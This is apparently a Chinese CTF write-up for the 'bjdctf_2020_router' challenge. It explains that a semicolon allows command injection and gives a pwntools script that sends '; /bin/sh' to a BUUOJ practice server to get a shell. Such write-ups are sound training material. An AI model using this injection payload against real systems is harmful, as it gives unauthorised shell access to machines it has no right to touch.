bjdctf_2020_router

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任意命令执行，用;号可以直接运行第二条命令。

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 25996)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

p1 = b'; /bin/sh'

r.recvuntil('Please input u choose:')
r.sendline('1')

r.sendline(p1)

r.interactive()

标签：p1,name,sendline,2020,file,bjdctf,debug,router
来源： https://blog.csdn.net/zzq487782568/article/details/121857560